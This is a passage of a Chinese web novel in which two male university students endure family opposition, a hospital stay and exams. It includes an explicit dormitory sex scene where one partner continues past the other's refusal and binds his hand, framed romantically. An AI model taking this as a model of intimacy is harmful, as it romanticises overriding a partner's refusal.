戚栩原本不想吃,吃什么吐什么浪费食物,等到陈威说是谢少让人送过来的,他知道是谢淮亲手做的。 他没问谢淮去哪了,有一口没一口吃着粥,吃一口歇一会儿,好让自己别吐出来,吃了一半他就吃不下去,连忙吃了一颗果脯。 剩下的时间他晕乎躺平,不晕的时候就看一会儿复习资料。 徐亦辰知道昨晚发生车祸这件事打来视频慰问,那个是戚栩正在头晕中,随便把手机架在小桌板上,自己躺在床上等待眩晕的过去。 又不是孕反,果脯对戚栩来说一点用都没有,该吐的都要吐。 徐亦辰见状先是呦呦了两声,然后说道:“你这状态不知道的还以为你在养胎。” 戚栩瞥了手机一眼:“要是闲就去复习。” 看徐亦辰的背景不像是宿舍,看起来像在办公室。 徐亦辰拿起书本递到镜头前:“我在公司还要看期末重点,谁有我勤奋,没有功劳也有苦劳,要是挂科就对不起我的付出。” 戚栩倒也没有攀比,拿起期末重点在镜头前晃了一眼,没说话。 果不其然徐亦辰反应极其剧烈:“狠人,你不拿第一谁拿第一。” 戚栩其实没看进去几个字,谦虚地说:“淮哥可以和我决一高下。” 说起谢淮,徐亦辰的神情有些不太自然,转瞬即逝,被戚栩捕抓到。 徐亦辰没有继续这个话题而是接着和戚栩插科打诨,戚栩很顺利地被转移注意力。 过了一会儿还有蒋子慕和方倩加入群聊,这三人也不知道得到了什么任务,演小品似的,把戚栩逗得一边吐一边笑。 最后还是方倩看到戚栩如此可怜强行停止了小品计划,进行普通的对话。 “什么可以出院?我们来接你吧。” 戚栩说:“看你们淮哥什么时候放我出去。” 方倩:“……” 说得像囚禁似的。 将子慕似乎忘记了任务脱口而出:“淮哥今早去了秦……” 被徐亦辰及时打断:“说起来寒假有何打算。” 他一边说着一边瞪着蒋子慕这个呆瓜。 蒋子慕干笑了两声:“我打算画画,你们谁有兴趣。” 无人出声,无人感兴趣。 还好,只要自己不觉得尴尬,尴尬的就是别人。 方倩对寒假安排有话要说:“寒假一起去滑雪吧。” 话题再次热起来,戚栩不知道是头晕还是什么,没说什么话。 直到挂电话戚栩兴致依旧不高。 中午,又有人给戚栩送餐食,他比早餐的时候吃得还少,连最喜欢的酸甜排骨几乎没动过。 送餐的人进来收拾的时候欲言又止,最后还是一句话都没说。 原以为这个病房除了谢淮不会有第二个人出现。 下午,病房里第一位探望者是戚栩意想不到的人。 秦越,谢淮的小舅。 戚栩听到门口传来动静,私人保镖亲自开门,秦越一进门就对上了戚栩的的眼神,刚想打招呼,谁知戚栩又吐了起来。 秦越吓得叫医生,病房兵荒马乱,戚栩叫停这场大惊小怪的闹剧。 等到医生离开后,秦越坐在了床边的椅子上,得知戚栩没多大事,玩笑道:“我以为你看到我想吐,我没长那么丑吧。” 戚栩还有心思回应秦越:“小舅风流倜傥,玉树临风,和丑一点都沾不上边。” 秦越一开始还没反应过来,两秒后才后知后觉,惊喜来得猝不及防,戚栩这是叫他小舅了? 愿意了? 不对,事出反常必有妖,这是猜到了他来这里的目的。 秦越笑了起来,能接受他的大侄子这么扭曲性格的人果然不简单,这两人一个比一个聪明。 “冲着你这声小舅,我会义无反顾地站在你们这边。” 秦越这句话印证了戚栩的猜想,谢淮去秦家了,为了他惊动了秦家两位老人。 “他还好吗?” 秦越说:“被我家那两位老头老太太关禁闭了,手机被没收,他没回你信息也别着急,估计得关个一天左右,我家那两位舍不得关他太久。” 这也是戚栩没有给谢淮发信息的原因,谢淮在能保持信息通畅的前提下,不可能一条信息都不给他。 还有在他没有动过酸甜排骨的时候一个电话也不打来,他今天都吐了几次,谢淮始终没有出现。 戚栩知道谢淮可能被限制了人身自由。 “他受伤了吗?” 秦越顿了下:“跪着被老爷子用拐杖甩了几下,差点被混合双打,还好我妈她腿脚便利没拐杖。” 有一部分理由是他在场,不然血洒书房。 他继续说:“谢老爷子也在场,他希望我父母插手这件事,和谢淮做交易。让他在你和谢秦两家二选一。” 戚栩闭了闭眼睛,再次睁开的时候,眼底有湿意:“你们不该这样对他。” 秦越的眼神同样复杂:“阿淮他是被两家老人共同培养,倾尽了所有的心血,两家不会让你成为他人生的污点,所以会拼尽全力把他掰回所谓的正道,道路光明,畅通无阻地登顶。” 在高门贵族中,所有人几乎都身不由己,就算彻底逃脱这层枷锁,不死都一身残,最后被家族捡回去,拼拼凑凑又是一个明面上光鲜亮丽,实则内底已经烂透。 在两家的眼中谢淮这种行为算数迟来的叛逆,他们一贯对待叛逆期的小孩很有手段。 先是满足,然后收回,最后谈判让你失败,无论如何所有人挣扎过后的结局注定是失败。 也包括他自己。 戚栩知道秦家两位老人很疼爱谢淮,应该不会忍心下死手,就算打也是带着恨铁不成钢的悲愤。 “谢爷爷前段时间进医院是因为我们的事?” 秦越“嗯”了一声:“那臭小子直接在老人面前说非你不可,把老人气进医院了。” 戚栩了然,怪不得最近没听他爷爷说起和谢老一起喝茶的事。 两位老人因为他和谢淮的事产生了隔阂,几十年的老友情因为孙辈而暂时中断。 戚栩并不认为两个老人会结束这段友谊,决定点在他和谢淮身上,他们结束,两位老人的友情续上。 决定权在他们手上。 戚栩第一次不想要这个主动权。 秦越此次前来的目的是确认两个小辈的感情到哪一步。 “你会和阿淮分开吗?” 戚栩紧紧地攥住那串沉木手串,感受无数珠子按在掌心的触感,平和的心逐渐缓慢加速跳动。 他的语气平静却无比地坚定:“不会,我们不会分开。” 第79章 第 79 章 秦越听到戚栩的回答后眼里带着一丝落寞若有所思, 终究是为这两个孩子的坚定而有所感触。 “如果他被家族所放弃,不再是天之骄子的谢家少爷,你还会这样想吗?” “对我而言, 谢淮就是谢淮。”戚栩看向秦越, “怎么,秦家和谢家找到流落在外其他少爷?” “……” 感触此刻烟灰云散,现在的小年轻可不同他那个时候。 秦越吐槽:“你这张嘴真是和阿淮有得一拼,我真好奇你们俩平时是不是都要毒一下对方。” 戚栩调整了一下身后的靠垫,靠得舒服:“那倒也没到毒死对方的程度, 舍不得。” 秦越阴阳怪气地哼哼了几声:“我过来吃你们的狗粮是吧,听说你午饭没吃多少,是不合胃口还是怎么。” 谢淮在秦家老宅关了禁闭, 没收了联系工具,人被关着,手下的人还在继续为他做事, 通过他,二姐夫妇两人传递消息。 秦家两老睁只眼闭只眼看着他们三人明目张胆地进入禁闭室。 他就是带着戚栩食欲不佳的消息进入禁闭室, 看到房间里的谢淮坐在书桌上练字。 老一辈都是这样,心浮气躁就勒令练字,练字能够修养身心。 秦越当时就说了一句有个屁用, 他们秦家个个脾气大得很,练了几十年一点不带改。 结果他被老爷子关禁闭练字一天, 那时他忽悠大哥二姐帮他抄, 最后这两人都进来陪他。 “合胃口, 但晕。”戚栩说, “想吃他做的饭。” 秦越嘶了一声:“我大外甥还会做饭呢,真假的, 能吃吗?” 戚栩看着天花板发散思维:“咕咾肉,糖醋肉,糖醋排骨,五柳炸蛋,我乖……心情好的时候会给我做。” 被咬不反抗,被摸乖乖受着,对谢淮的入侵迎合着,所发生这一切的前提是他心情好,不然甩几巴掌也是轻的。 秦越被戚栩说得泛口水,全都是酸甜口,谁喜欢吃一目了然。 “行,我等会让他给你做,做完给你送过来。” 戚栩问:“禁闭室还有厨房?” 秦越说:“应有尽有,除了没有联系工具,不能和外界联系,家里人知道他被关禁闭了,多得是人为他求情,家门口都被踩烂了。” 人和人的差距为何如此之大,他被关禁闭的时候为什么没人帮他求情。 他忽然想起一件事,从怀里拿出一封信递给戚栩:“差点忘了,古时候飞鸽传信,现在我帮你们传信,我可冒着被连坐的风险替你们做这件事。” 戚栩挑了挑眉接过,似乎没有想到谢淮还有兴致写信,没了换手机也只能用最原始的方式交流。 他拆开信看到熟悉的字体总觉得和谢淮许久未见,明明昨晚才抱在一起。 信的内容很简单—— 好好在病房休养,外面的事我会处理,吃不下不要硬吃,今晚我给你做糖醋肉,下个星期考第一门专业课,别偷懒,多看几遍我给你划的重点。 乖乖的,等我回来。 戚栩失笑,他真是让一个关禁闭的人操碎了心,大到外面的事,小到期末考。 还想让他乖?乖不了一点。 他手边没什么正式的信封,只能撕下笔记本回信,再循坏利用谢淮的信封。 戚栩回信完之后说:“转告他好好复习,第一我可不让给他。” 秦越收起信封,得知自己变成传信人,有那么一点微妙,以后就该他喝那一杯敬茶。 “哎呦,你不说我都忘了你们两个大一新生,不知道的还以为我是早恋的帮凶。” 戚栩看到谢淮的信后心情平复了下来,也终于体验到他出差那几天谢淮的心情。 还好,他想念谢淮的时候,对方也在想他。 如果这个世界上能看得见脑电波相连,他和谢淮应该进入了同一个频道。 重活一世,戚栩明白只要人还活着,一切皆有可能,生命是本钱。 “你等会回去不会还有人搜身吧。”戚栩恢复心情和他开玩笑。 秦越摆了摆手,不甚在意:“不会,放心吧,谁敢拦我。” 秦家老宅。 秦越刚踏入门口,一声严肃而宏厚的声音把他叫住:“站住。” 秦越被这一声吓了一个激灵,转头看着那位白发苍苍依旧精神抖擞,一身上位者气息的老头子:“爸,你只有那么一个小儿子,吓死了就没了。” 老爷子呵斥:“胡说八道,没个正形。” 秦越耸了耸肩:“等会再陪你,我去看看阿淮。” 通风报信都是默认的,可没想到这次老爷子直接说:“你又帮他带那孩子的消息?” 秦越指尖夹着那封信:“情书,爸,你要看吗?让你一秒重回青春。” 老爷子的脸肉眼可见地黑下来,秦越宛若没看到一样:“就算棒打鸳鸯也得两人在一起,听说你外孙还在没把人追到手呢,你总不能把人关一辈子吧,二姐要和你闹。” 说曹操曹操到,秦缓思及时来救场。 “爸,你什么时候让阿淮出来。” 说着秦缓思给秦越使了个眼神,后者顺利地进去。 老爷子面对女儿的时候语气不自觉地放轻,颇具无奈地说:“他现在这种状态在家里走动自由,像是被关了禁闭吗,如果不是门口有守卫,他早出去了,这里困得住他吗。” 秦缓思说:“确实困不住,三米高墙都照样爬,他是知道你和妈还在生气,甘愿受罚。” 老爷子不威而怒,沉默着,确实甘愿受罚,不然也不会跪着任由他打了那几棍。 那可是实打实地打在后背,即使他收住了力气,他那外孙一声不吭就这样受着,硬着骨头和他对抗。 这也是他以前教过的,男儿膝下有黄金除了父母谁都不能跪,男儿有泪不轻弹,全都在今天早上应验了。 一看就是他教出来的。 晚餐,戚栩如愿地吃到了谢淮亲手做的糖醋肉,这一次他难得的没有吐。 进来收拾餐食的人看到饭菜如释重负。 经过休养,戚栩的头晕症状有所缓解,会晕,但已经不怎么吐了。 在病房的几天,戚栩一直在里面安心地复习,没人来打扰,手机也不多看,vip病房简直就是一个完美的自习室。 谢淮还是被禁足中,偶尔拿秦越的手机给他打电话,不过经常被打断,他很多时间都会听到秦越的声音说什么我爸来了,我妈来了。 打个电话像打游击似的。 而秦越每天都会来传信,有时候在他这里一待就是一个小时起步。和他说谢淮小时候的事,权当陪他聊天放松。 病房门口一直都有人轮流守着,让人平平安安地到出院那天。 到了出院那天还是没瞒过老爷子,戚栩换好自己的衣服收拾好一切,陈威带着老爷子出现在病房里。 戚栩对老爷子的出现并不意外,他头上有伤一直没接老爷子的视频,都是语音通话,老爷子何等人,很快就起了疑心。 沈老爷子被李叔搀扶着朝戚栩走去,眼神盯着戚栩额头上的伤,尽管被贴着纱布看不出伤势,可听到车祸这两个字他的心都颤了颤。 戚栩主动扶着老爷子的手,李叔退到一半。同样也担忧地看着他。 他回以安慰的眼神,对两位老人说:“我没事,一点小伤而已。” 老爷子不舍地骂,眼神检查戚栩的伤势:“这么大件事不告诉我,你就尽管瞒,越瞒着咱们爷孙的心就越来越远。” 老爷子的眼眶不由得红了。 戚栩哄着他说:“以后不瞒了,以后什么都告诉你。” “要不是我无意中知道他被秦家关了禁闭,你又不接我的视频。”老爷子骂骂咧咧,“你们两个真想把全部的事都扛在自己身上,把我这个老头子放在哪里。” 车祸的事被谢淮有意封锁了消息,老爷子要查只查到这是一起意外事故。 没有任何指向性的消息,永远都不会想到这是一起蓄意安排的时间。 戚栩并不想让老爷子忧心,所以并不打算告诉他。 戚栩说:“没要瞒你多久,今天我打算回老宅。” 沈老爷子已经想到谢淮那孩子被秦家关禁闭应该和他孙子有关,这几天谢老头闭门谢客谁都不见,是怕被他找。 “秦家那边我插不了手,你谢爷爷那边我尽量和他交流,这件事只能你们两个共同面对。” 戚栩说:“您不用操心,我和他会解决的。” 沈老爷子没说什么,重重叹了一口气,只能每天诚心拜佛,希望佛祖保佑他的臭小子如愿以偿,苦了那么多年,以后一切顺遂。 戚栩扶着老爷子上车,没想到司机是沈枫凯,倒像是个尽责的司机帮他们开门。 戚栩挺有礼貌的,上车之后对他说:“谢谢。” 沈枫凯听到这句谢谢更不是滋味,如果回一句不客气,那就证明他们亲兄弟的关系比滴滴司机还有疏远,要是什么都不回,两人之间无话可说。 憋了好一会儿才憋出一句:“你不是有男朋友吗,怎么和谢淮……是他逼的你?” 戚栩:“……” “六楼精神科,慢走不送。” 沈枫凯又把话给憋回去,沉默了一路,把他们送回老宅后,又在老宅住了下来。 过后戚栩才知道沈枫凯的反常出自于沈家的鸡飞狗跳。 沈卓海和曾云吵架,曾云一怒之下回了娘家,沈泽予劝着他们反被沈卓海甩了一巴掌,并收回了他在沈氏的职位。 沈泽予离家出走,期间在大庭广众之下和戚国辉拉拉扯扯,被人拍照发在网上。 沈泽予前段时间极其高调,无论是新闻还是自己的社交账号,都散发出一种胜利的气息。 他和戚国辉的对话被清晰地录下,网友知道戚国辉的身份,原来这位粗鲁的中年男人是传说的养父。 男人嘴里说着粗俗的话,而沈泽予一改优雅贵公子,当街和他对骂。 舆论被发酵,为了阻止这件事越闹越大,沈泽予和戚国辉上演了一场父子相认的戏码才勉强平息这件事。 然而在即将尘埃落定之际,一段录音将整个沈家拉上了风口浪尖。 “戚栩?只不过一个半道回来的野小子,我爸的股份凭什么给他。” “你是你爸最宠爱的小儿子,但三叔也要提醒你一句,老爷子已经立好了遗嘱,将来他的股份都是戚栩的,你拿什么和他争。” “老爷子也是偏心,遗产上没有你爸,你大伯,你的小姑的名字,只有戚栩一个人,也不知道他给老爷子灌了什么迷魂汤。” 录音里出现了好几个人的声音,熟悉他们的人应该听得出来是谁。 舆论再次发酵,热度再次飙升。 【我去。豪门夺权战役让我赶上了?】 【谁和谁啊,我只听出了第一个声音是假少爷的声音,原来他在外的形象都是伪装,什么你爸,人家是戚栩的亲爸。】 【沈总不是说一视同仁吗,这是一视同仁教养出来的?】 【我记得沈家老爷子还在世吧,这就是惦记起遗产了,后面几个人听着都是不是亲生儿子,真有脸啊。】 【我阴谋论了各位,假少爷凭什么这么得意啊,只有沈家严重偏心眼给了他资本啊。】 【豪门真可怕,被认回了豪门还要被人谋算,我要是真少爷,回去的第一天就死无全尸了。】 此时,沈家要做出一个选择,保还是不保,还有保谁这个问题。 保那就一起亡,不保还有一丝活路。 沈家已经尽力截止录音的传播,然而网友的力量不可小觑,不到两个小时已经全网遍布。 网上的事对戚栩来说无关紧要,影响不了他的生活,也没人在他面前说起这件事。 沈枫凯有意瞒着他,把他当成不上网的山顶洞人。 老爷子出手果断,第一时间就处理了那几个沈家旁支,从此在沈氏除名。 戚栩两耳不闻窗外事,一心只有期末考。 第一门考试当天,戚栩额头上的伤已经换下创口贴,在脸上还挺明显的。 戚栩在教学楼阶梯和李彦他们相遇,两位舍友将近一个星期没见到戚栩,看到他额头上的创可贴惊讶不已。 “栩哥,额头怎么了?” 戚栩玩笑道:“头悬梁锥刺股。” 李彦信了:“我去,真的假的,为了期末考付出这么多,注意身体啊。” 冯振杰翻了个白眼:“头悬梁也不是悬额头,是撞伤吧?” 戚栩嗯了一声:“不小心撞上了。” 李彦往戚栩身边看,下意识地找谢淮:“栩哥,淮哥呢?” 戚栩戴着谢淮的围巾,像是有预感地抬头。 人潮中眼神准确地固定在穿着和他身上同款不同色,戴着和他一模一样的围巾的谢淮身上。 一日不见如隔三秋,一个星期没有联系没有见面,没到度日如年的地步,戚栩也一直以平常心度过。 他耐心等待的不是期末考,而是和谢淮见面。 戚栩说:“他来了。” 第80章 第 80 章 谢淮大步流星自觉地走到戚栩身边, 宛若两人一直都在同行,从未缺席过那一个星期。 不过是真正的缺席,从今天开始补上。 戚栩扫了一眼谢淮身上的衣服, 这人是回了一趟家才过来, 他们的羽绒服一直挂在家里的衣柜。 守得云开见月明,看来人身自由了。 至于谢淮是怎么解决,现在不是说这些事的时候,戚栩没问。 李彦他们不知道戚栩和谢淮将近一个星期没见过面,以为这两人一起来, 毕竟形影不离已经成了两人之间的刻板印象。 两人同一时间离校,又同一时间出现。 “淮哥,我还以为你不记得教学楼在哪里。” 谢淮手上拿着个文具袋:“没有栩哥带着差点迷路。” 李彦笑着说:“你们两前后脚来, 淮哥你离不开栩哥是吧。” 谢淮点头:“嗯,离不开,一辈子就跟着他。” 除了戚栩都以为是玩笑话, 一边说笑一边走进教学楼。 戚栩和谢淮走在后排,步伐一致。 戚栩挑眉:“你还有时间回家拿衣服穿, 早上几点起床?” 今天是考试日,楼梯上都是考试的学生,人头涌涌, 大家都穿着厚重的衣服前行。 谢淮明目张胆地勾住了戚栩的手指:“昨晚偷跑出来的,只能回家住一晚上, 心惊胆战一晚上没睡。” 戚栩闻言瞪大了眼睛:“不是, 你……” 他余光瞄到谢淮嘴角上扬, 心里哼了一声:“那今晚你自己一个人继续心惊胆颤吧, 我回老宅。” 说完试图抽回自己的手,不过被那双温热的手反握住, 让他不容后退。 谢淮挑眉:“这么狠心,好吧,我跟你回老宅。” 戚栩轻哼着没说话,两人的手在袖子下没分开。 考完第一门,明天继续考第二门,李彦和冯振杰拿着明天的复习资料到空教室复习。 祈祷临时抱佛脚多少有点用。 戚栩并不着急回宿舍,毫无目的地在校园里乱逛,谢淮始终跟着他。 最后他逛够了,累了,谢淮的目光还是那么炽热,首都零下的天都没把他身上的热度降下去。 戚栩有那么一点心虚对谢淮的回信,只顾着撩拨,不负责灭火。 他就该想到谢淮出来之后的事,现在逃还来得及吗。 不出意外,根本逃不出去。 戚栩慢慢吞吞打开宿舍门,又慢慢地推门而入。 谢淮极其有耐心,不催也不插手,不动声色地观察戚栩的一举一动。 宿舍外是戚栩的安全区,直到宿舍门被身后的人反锁。 戚栩还没来记得说什么就被谢淮推撞到门上。 掌心护着他的后脑勺,谢淮欺身吻了上来。 在外面吹了好一会儿的冷风,似乎一点作用都没有。 谢淮掐着戚栩的颈脖,他被迫仰着头,强势地,血腥地,一层一层地侵略。 吻得极深,戚栩即将缺氧,在他喘息着,眼尾带着暧昧的红,谢淮将他抱起朝书桌走去,随手将桌上的书本扫落一边。 戚栩张了张嘴本想提醒这是复习资料,还没说出口就被谢淮抢占了先机。 戚栩不得不抬手环住了谢淮的脖子,不让自己被顶得后退。 他闭着眼嘴里含糊地喊着:“谢淮,热。” 零下的天,在密闭的宿舍里,戚栩因为一个吻大汗淋漓,脸上发热,乌黑的头发凌乱地贴在侧脸,如同一条缺氧的美人鱼被人捞上了陆地。 直到他被压在单人床上,他才意识到惩罚才刚刚开始。 谢淮的大腿压着他,居高临下地看着他潮红的脸:“今晚梦见你了,在梦里和你拥抱,接吻,做着你想做的事,梦醒了,你不在身边,” 回信被谢淮原封不动,一字不错地念出来,戚栩感到无比地羞耻。 戚栩偏头不去看他,开始倒打一把:“倒背如流,你究竟看了几次。” 谢淮的手捻住了戚栩的耳垂,压上去在他耳畔说着更露骨的回信。 除了第一封回信,戚栩回了三封信都是晚上复习完之后再写,夜深人静,调情的心骤然冒起,然而人不在身边,只能回信以表想念。 谢淮低沉的嗓音听得戚栩晕乎乎,似梦境。 鼻尖低着鼻尖,谢淮惩罚地咬了一口:“一点都不听话,” 戚栩过火地反驳:“你又能拿我怎么样?” 是在挑衅,这也是戚栩想要确认此时的谢淮不是梦境的唯一途径。 谢淮从来都没有掩饰过自己对戚栩的情。欲,他只对戚栩重欲,上瘾,那只游走在腰间的手肆意地掠夺,在每一寸肌肤上留下自己的痕迹。 互相纾解,是停留在戚栩脑海里算是过分的一种。 他被围巾遮住了眼,感官无限放大。 谢淮的手放在了他的裤带上,手指勾下,戚栩没忍住抖了抖,然而下一秒一阵阵温热的呼吸洒在那片敏感处。 戚栩朝他扔围巾,气息不稳抬脚蹬开他:“明天还有考试。” 谢淮一手拽住了他的脚腕,眼神沉沉,另一只手拿着围巾:“听话。” 戚栩用手撑着起来:“不要其他。” 谢淮没回话,眼神盯着面前情动的戚栩,一手将人按回枕头,在他的颈侧慢慢磨着,哄着:“会让你舒服。” 戚栩似乎无法接受,挣扎着,力量悬殊,最终盖着脸的围巾,将戚栩的一只手绑在了铁架上。 戚栩的里衣已经被卷上胸膛,箭在弦上,溃不成军。 谢淮放过了戚栩的脖颈,慢慢地往下,找到新的领地。 冰冷的,炙热的,戚栩宁愿被围巾蒙住双眼,剩下的一只手胡乱地想抓着什么。 下意识地抓住了谢淮的头发,通电般倏然放开,下半身不由得挺起,他认命地闭上眼睛。 戚栩怀疑被关禁闭的一个星期谢淮都在学习,只因上一次他说了一句不怎么舒服,当然是为了逗谢淮。 谢淮凭空想象的学习能力很强,几乎没有不舒服的地方。 戚栩咬着下唇睁开眼睛,窗帘挡住了大半的光线,却无法挡住这一幕给他的冲击。 谢淮猛然抬眸看他,戚栩浑身紧绷,能看到谢淮眸子里自己宛如那只已经拆骨入腹的猎物。 宿舍门被敲响,隔壁宿舍的同学在门外喊着:“淮哥?栩哥?在吗?” 敲门声持续了好一会儿,停下来之后传来好几个人的交流声,都在说是不是没回来。 他们所找的人在宿舍,在床上,在交缠着。 继而恢复寂静。 脑子空白前一秒,戚栩确认了一件事,是真的,不是梦境。 戚栩的眼尾被逼出了泪水,谢淮俯身含去。 戚栩回神过来的时候他的手已经松绑,躺在床上表情看起来爽过一遍之后的餍足。 谢淮刚抽了一张湿巾擦拭时,被人推到在床尾,错愕地看着他,似乎没有想到还有那么一出。 “不强迫你,不喜欢可以不做。” “没有不愿意,只要对象是你。” 戚栩衣衫不整地趴在他身上,面无表情不算认真地一物还一物。 戚栩是懒的,上一次的后半程由谢淮自力更生。 这一次更是,还没到一半就要起来。 谢淮更不可置信,第一次遇上这种事,哑着声说:“宝贝,不能这样。” 不能这样还能怎么样,戚栩被一声又一声的宝贝蛊惑着,双眼又红了。 色欲熏心后果,就是戚栩闭着眼任由谢淮一遍一遍地擦脸,咬着后槽牙想要杀人。 被褥杂乱不堪,戚栩躺在床上气不过又给了谢淮一脚。 谢淮抓住他的脚放进被褥里,又拉下被卷起的衣摆,下床开了暖气,拿着一张新被子上来。 缓过来后戚栩看着自己手腕上的痕迹,抬眸问:“你真是来强的。” 谢淮捋着他额前的头发,笑了笑:“能绑得住你?” 围巾根本绑不牢固,只要一用力就能挣脱,戚栩需要给自己一个理由,允许谢淮做过火的事。 戚栩往墙边挪了挪,谢淮顺势躺在了他旁边。 花费了一个半小时不干人事,戚栩总算能问正事,他让谢淮转过身,他撩起衣服去看谢淮的后背。 谢淮知道他在检查伤:“打的那几棍不严重,外公没下死手,涂了点药淤伤就散了。” 戚栩还是在后背找到了被打的痕迹,肩胛骨,后腰,虽然看着已经不严重,但能想象到那天的情况如何。 他指尖拂过那些痕迹,忍不住地心疼,却知道这是无法躲避。 谢淮转过身抱住了戚栩,掌心也同样拂过戚栩后背的伤:“你心疼我,如我心疼你百倍,我不会放过让你受伤的人。” 戚栩皱了皱眉:“没必要为了我再惹你的家里人生气,难道你还想被关禁闭,我可以自己解决。” “他们不会生气。”谢淮说,“没人能分开我和你。” 戚栩闻言,忽然想起秦越所说,如果谢淮为了选择他被家族放弃,这个结果过于破釜沉舟,没必要。 他们两人的事还没有到这个地步。 他撑着床看他:“你和他们谈判的条件是什么?又或者你答应了他们什么?” 谢淮捏着戚栩的脸,玩笑道:“我没钱了,被没收了所有财产,只能靠你养着我。” 戚栩白了他一眼:“勉强能包你,不过只能按月包,我也穷。” 谢淮笑道打:“没关系,我可以倒贴。” 戚栩听到他的不正经给了他一拐:“说认真的,不会是签了对赌协议吧。” 谢淮挑了挑眉,戚栩见状立即坐起身:“你一个人对秦谢两家?权衡过了吗。” 谢淮说:“权衡过了,四年的时间不用谢秦两家的权利再创一个商业帝国,最后失败的结局我会出国,永远不会回国。” 戚栩骂了一句,只觉得太阳穴一抽一抽地疼。 谢淮创立商业帝国被提前到这一年,18岁创立商业帝国,对于别人来说天方夜谭,可谢淮不一样。 戚栩当然相信他的能力,28岁那年已然创立,只是现在足足提前了十年,需要谢淮要付出千百倍的努力和心血,和常人无法想象的辛苦。 不能像一个正常不过的18岁大学生享受当下的生活,被对赌所困住。 所以谢秦两家还是在逼他。【魔蝎小说 mo xie xs .c om】 80-90 第81章 第 81 章 戚栩扫视勾着他手串的谢淮, 只见对方心情很美妙,这场对赌对他而言似乎还没有他的手重要。 “你真不觉得这场对赌有什么问题?四年除了上课就是工作,这会耗尽你所有的精力, 你将会付出千百倍, 而且他们是在胁迫你就范。” 戚栩所不希望见到被一座座大山所压迫,喘不上气的谢淮。 这样下去他会坏掉的,变成两个家族所控制的产物。 戚栩的语气有些激动,谢淮起身把人揽入怀里,轻拍着背安抚:“不会有问题, 这份对赌是我向他们的提出,我是这场谈判的主导者,为我们两个的未来不再有障碍。” 谢淮的语气信誓旦旦, 戚栩退开了点,捧着他的脸说:“四年,你还要兼顾学业, 时间从哪里挤出来,不睡觉, 不吃不喝吗?” 现在戚栩怀疑谢淮知不知道商业帝国这个含义,是坐稳一个行业的商业龙头,论时间, 四年也过于短,放在寻常企业上, 四年也只是他们稳步发展的时间。 谢淮一心温存, 亲吻戚栩的掌心, 向他保证:“会睡觉, 会吃会喝,我会保重自己的身体, 我要和你长命百岁。” 戚栩担忧地皱眉:“现在是从零开始,不借靠两家的权利,应该会很缺钱,我过几天把沈枫凯送的车卖了。” 谢淮失笑不已:“应该还不至于沦落到卖车的地步,我这几年也存下了不少钱,加上零零碎碎能给你买好几十辆车。” 戚栩:“……” 人和人的差距就这样产生了。 谢淮之前说过正在创业,肯定是有后路兜底才向谢秦老家谈判。 他不客气地警告:“不要在我面前炫富,我心里会不平衡,信不信半夜三更起来掐你。” 谢淮重新把人压在床上,抱着不放手,蹭着他的颈脖,闷声道:“半夜你起不来,我把你干醒好不好。” 戚栩:“……” 他咬牙切齿:“谢谢你啊雷锋,以这种方式把我叫醒,你大可试试看。” 谢淮像是怎么都摸不够,上下其手,得寸进尺:“不用谢,真的可以试试吗?” 语气听着很期待的样子。 时隔一个星期的见面,拥抱过,接吻过,温存过,打架过。 最后的结果谢淮双手投降,被戚栩按在床上咬,他咬了两口又累了,被人哄睡着。 考试周持续了一个半星期,戚栩和谢淮没回家,一直在学校,临近放假有许多事务需要处理。 在这段时间戚栩彻底见识到谢淮黏人的程度。 不限于上厕所都要跟着他,虽然两人坦诚相见过,但不至于每天互相问候。 甚至在李彦和冯振杰在外复习到12点,戚栩抱着衣服进浴室洗漱,这人还想跟进来。 要是真给人进来了,可不是单纯洗澡这么简单,前几天的冲击戚栩还没有消化完,看到那条围巾,不,上床睡觉脑子里都会不自觉有画面。 他用脚抵住了门:“干什么?” 谢淮注意到戚栩的慌张的眼神,把手上的毛巾收起来:“想和你一起洗澡。” “你真敢说啊。”戚栩歪头,“你看看这个浴室能容得下我们两个人吗?叠罗汉是吧。” 谢淮假装用力推门:“那我看着你洗。” 戚栩骂了一句:“滚蛋。” 要炸毛了,谢淮不逗他了:“浴巾没拿。” 戚栩接过他递过来的浴巾,哦了一声,在关门之际说道:“我故意不拿,就想洗完澡喊你。” 说完立即关门,生怕谢淮闯进来。 谢淮倒也没有打扰戚栩洗澡的时光,只不过是到了半夜的时候爬床。 戚栩根本不需要酝酿睡意,看了一晚上的复习资料,一上床几乎秒睡。 谢淮爬床的时候他还以为自己在做梦,半梦半醒眼前晃过一个人影,倏然睁大眼睛看到谢淮出现在眼前,心止不住地狂跳。 还以为见鬼了。 也没错,是一个欲求不满的男鬼。 戚栩深呼吸,闭着眼睛平和地接受:“床又湿了?” 谢淮熟练地钻进被窝,脸上的情绪隐没在黑暗里,双手环住戚栩,感受他身体里散发出来的温度,是热,是活的,是跳动的。 他说:“做噩梦了。” 戚栩困得要死,在他的怀里蹭了蹭,迷迷糊糊地安慰:“别怕,现实都是和梦反着来,不会发生梦里的事。” 戚栩睡着了,谢淮却彻夜未眠。 一块块梦境碎片在脑子里不断闪现,他只能一遍遍地确认戚栩的心跳,再一次把手放到戚栩的心脏上,谢淮知道自己魔怔了。 梦只是梦,如戚栩说的那句话,现实会反着来。 可梦里的一切过于真实,病床上的人插着各种仪器,还有那心脏骤然停止的声音,在他耳边挥之不去。 等他想要看清楚那人的面容时,却看到自己的手上拿着无比熟悉的沉香木手串。 那一刻谢淮觉得自己的心好像也跟着死去。 他知道病床上的人是谁了。 —— 期末考结束,正式开启为时一个半月的寒假。 陈威和老高让人进去宿舍搬走两位少爷的行李,相邻的两张床被拆得像刚入学那样空。 李彦挪到戚栩身边问:“栩哥,你和淮哥下个学期不住宿了?怎么把东西收拾得这么干净。” 戚栩把手提塞进包里:“住啊,把东西带回去清洗而已,对了,明天和隔壁宿舍的聚会我可能去不了,你们玩得开心。” 冯振杰惋惜:“啊,那淮哥也不去了吗,我让他们少订两个位置吧。” 戚栩去不了的原因是老爷子替他约了全身检查,回来的时候已经检查一次,半年后又检查一次。 “你问一下他吧,他如果没事的话应该会去。” 谢淮打完电话从走廊进来,冯振杰立即问:“淮哥,栩哥说有事去不了明天的聚会,你有时间吗?” 谢淮扫过正在埋头收拾的戚栩:“我也有事去不了。” 得到回复的两人见怪不怪,已经预料到这个结果。 戚栩问:“明天你有事?” 谢淮“嗯”了一声却没说什么事。 因为明早要体检,戚栩今晚要回老宅一趟,而谢淮因为有紧急事务要去处理。 两人在陈威关上挡板的车里接了个吻,二十分钟后在学校分道扬镳。 考试完毕一身轻松,戚栩终于有了放假的实感。 